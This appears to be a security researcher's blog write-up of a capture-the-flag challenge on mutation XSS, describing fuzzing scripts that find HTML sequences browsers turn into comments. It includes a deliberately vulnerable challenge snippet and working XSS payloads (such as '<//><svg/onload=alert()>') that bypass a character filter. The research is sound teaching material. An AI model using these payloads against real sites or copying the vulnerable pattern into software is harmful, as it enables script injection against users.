Uncomment Me
TL;DR
Using fuzzing to find a html comment mutation, that bypass filter to achieve a XSS.
Introduction
I had the idea of this challenge after another one I created for the Aperi’CTF, TMNT. It was a mutant XSS where it was necessary to get out of a comment. One of the players (Yacine) found an interesting solution, so I decided to continue with what he found.
The first discovery
For TMNT my solution was to use <!>
to get out of the comment. Indeed, once mutted, <!>
becomes <!---->
.
> t = document.createElement('template');
> t.innerHTML = '<!>';
> t.innerHTML
"<!---->"
Yacine found that it was also possible to have the same behavior but with <?>
, which was transformed into <!--?-->
.
This seems surprising because according to the W3C a comment must start with the string <!--
, but browsers took some liberties.
Let’s go fuzzing
From that moment, I thought that there could surely be other mutations of the same type, so I decided to fuzz. For that I use a LiveOverflow video where it presents a parsing bug in Firefox discovered by Gareth Heyes. I took the code and adapted it to my case:
d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
d.innerHTML = '<' + String.fromCodePoint(i) + '-- comment -->';
if (d.innerHTML.includes('<!')) {
console.log(i + ' : ' + String.fromCharCode(i))
}
}
The script will try a set of characters instead of the !
conventionally used in the declaration of an html comment and check if it’s mutted to a comment.
This is the output:
33 : !
47 : /
63 : ?
!
is the normal case and ?
has already been found, but /
is interesting, we will go further with this one.
Slash it
</-- comment -->
is mutted to <!---- comment ---->
, there is rather strange behavior with the double --
. So I wondered if hyphens are mandatory or if it’s possible to use other characters. For that I rewrote a fuzzing script:
d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
d.innerHTML = '</' + String.fromCodePoint(i) + ' comment -->';
if (!d.innerHTML.includes('<!')) {
console.log(i + ' : ' + String.fromCharCode(i))
}
}
It outputs all characters that cannot be used after /
, and surprisingly there is only a few results: >
and a-zA-Z
. This result is understandable because a tag of the type </x>
will not be mutted because it can correspond to a closing tag. What is more surprising is that it’s therefore possible to use almost any character after the /
so that the tag is mutated into a comment.
Examples:
</1>
-><!--1-->
<//>
-><!--/-->
</<>
-><!--<-->
It works in Firefox, Chrome, IE, Edge and Opera.
Challenge
I decided to make a little challenge with this finding.
s = new URL(window.location.href).searchParams.get('s');
if (!s.includes('!') && !s.includes('-')) {
t = document.createElement('template');
t.innerHTML = s;
document.write('<!-- ' + t.innerHTML + ' -->');
}
The first solutions arrived quickly (@Blaklis_, @BitK_ and @garethheyes), but weren’t the ones expected. Here is the type of payload they used: <x x="%26%23x2d;%26%23x2d;%26gt;"><svg/onload=alert()>
.
Expected solutions: <?><svg/onload=alert()>
and <//><svg/onload=alert()>
.